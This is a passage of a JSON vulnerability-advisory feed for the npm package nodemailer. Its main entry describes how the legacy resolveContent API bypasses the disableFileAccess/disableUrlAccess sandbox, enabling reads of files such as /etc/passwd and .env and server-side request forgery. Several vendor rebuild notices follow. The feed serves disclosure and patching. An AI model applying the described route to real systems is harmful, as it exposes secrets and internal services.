calls `mail.resolveContent(mail.data, 'html', cb)` / `mail.resolveContent(mail.data.attachments, 0, cb)`.\n\n### Impact\n\nAn application that enables `disableFileAccess` / `disableUrlAccess` to contain untrusted message content and that resolves content through the documented plugin API (`mail.resolveContent(data, key, callback)`) has its sandbox silently bypassed:\n\n- Arbitrary local file disclosure: a message `html`/attachment `path` pointing at a server file (`/etc/passwd`, `.env`, key material) is read and returned to the caller / delivered in the message.\n- Server-side request forgery: a message `href` pointing at an internal or loopback URL is fetched from the application host.\n\nReachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default `transporter.sendMail()` path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.","status":"published","published":"2026-09-08T21:16:00Z","modified":"2026-09-17T11:56:00.648821018Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-73","CWE-918"],"updated_at":"2026-11-02T15:46:42.437513Z"},{"id":"UBUNTU-CVE-2026-92595","description":"Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the `disableFileAccess` and `disableUrlAccess` sandbox options when message content is resolved through the public plugin API `MailMessage.resolveContent()` using the documented legacy three-argument signature `resolveContent(data, key, callback)`. Because `shared.resolveContent()` normalizes the missing `options` argument to an empty object, the message-level flags copied into `mail.data` by the MailMessage constructor are discarded, and `resolveContentValue()` skips both access-control checks, reaching `nmfetch(url)` or `fs.createReadStream(path)`. As a result, plugin or application code that resolves untrusted message content (html, text, attachment `path` or `href`) via this API can be induced to read arbitrary local files or issue outbound HTTP(S) requests (server-side request forgery), bypassing the sandbox the application enabled. The internal paths used by `transporter.sendMail()` (`resolveAll()`, `_convertDataImages()`, and the MIME streaming path) are not affected. Fixed in version 9.1.1.","status":"published","published":"2026-09-16T22:18:00Z","modified":"2026-10-28T20:17:26.181981757Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"medium"},{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T16:57:40.980117Z"},{"id":"CLSA-2026-1788978110","title":"TuxCare security update for nodemailer (1 CVE)","description":"TuxCare rebuilt nodemailer to address 1 CVE. Fixed in 9.1.0-tuxcare.1.","status":"published","published":"2026-09-09T18:21:50Z","modified":"2026-10-15T09:47:55.443715951Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1790109128","title":"TuxCare security update for nodemailer (2 CVEs)","description":"TuxCare rebuilt nodemailer to address 2 CVEs. Fixed in 6.10.1-tuxcare.10.","status":"published","published":"2026-09-22T20:32:08Z","modified":"2026-10-15T09:46:02.656889021Z","updated_at":"2026-11-02T15:43:48.28229Z"},{"id":"CLSA-2026-1791511288","title":"TuxCare security update for nodemailer (4 CVEs)","description":"TuxCare rebuilt nodemailer to address 4 CVEs. Fixed in 9.0.1-tuxcare.1.","status":"published","published":"2026-10-09T02:01:28Z","modified":"2026-10-15T09:48:04.402139932Z","updated_at":"2026-11-02T15:43:50.599064Z"},{"id":"CLSA-2026-1791806459","title":"TuxCare security update for nodemailer (11 CVEs)","description":"TuxCare rebuilt nodemailer to address 11 CVEs. Fixed in 9.0.6-tuxcare.1.","status":"published","published":"2026-10-12T12:00:58Z","modified":"2026-10-15T09:47:40.200342402Z","updated_at":"2026-11-02T15:43:50.599064Z"},{"id":"CLSA-2026-1791821315","title":"TuxCare security update for nodemailer (4 CVEs)","description":"TuxCare rebuilt nodemailer to address 4 CVEs. Fixed in 9.0.3-tuxcare.2.","status":"published","published":"2026-10-12T16:08:35Z","modified":"2026-10-15T09:47:40.294727581Z","updated_at":"2026-11-02T15:43:50.599064Z"},{"id":"CLSA-2026-1791825763","title":"TuxCare security update for nodemailer (4 CVEs)","description":"TuxCare rebuilt nodemailer to address 4 CVEs. Fixed in 9.0.2-tuxcare.2.","status":"published","published":"2026-10-12T17:22:43Z","modified":"2026-10-15T09:47:40.314262658Z","updated_at":"2026-11-02T15:43:50.599064Z"},{"id":"CLSA-2026-1792115498","title":"TuxCare security update for nodemailer (3 CVEs)","description":"TuxCare rebuilt nodemailer to address 3 CVEs. Fixed in 9.0.0-tuxcare.3.","status":"published","published":"2026-10-16T01:51:38Z","modified":"2026-10-16T07:00:02.275499464Z","updated_at":"2026-11-02T15:43:50.949147Z"}]}}
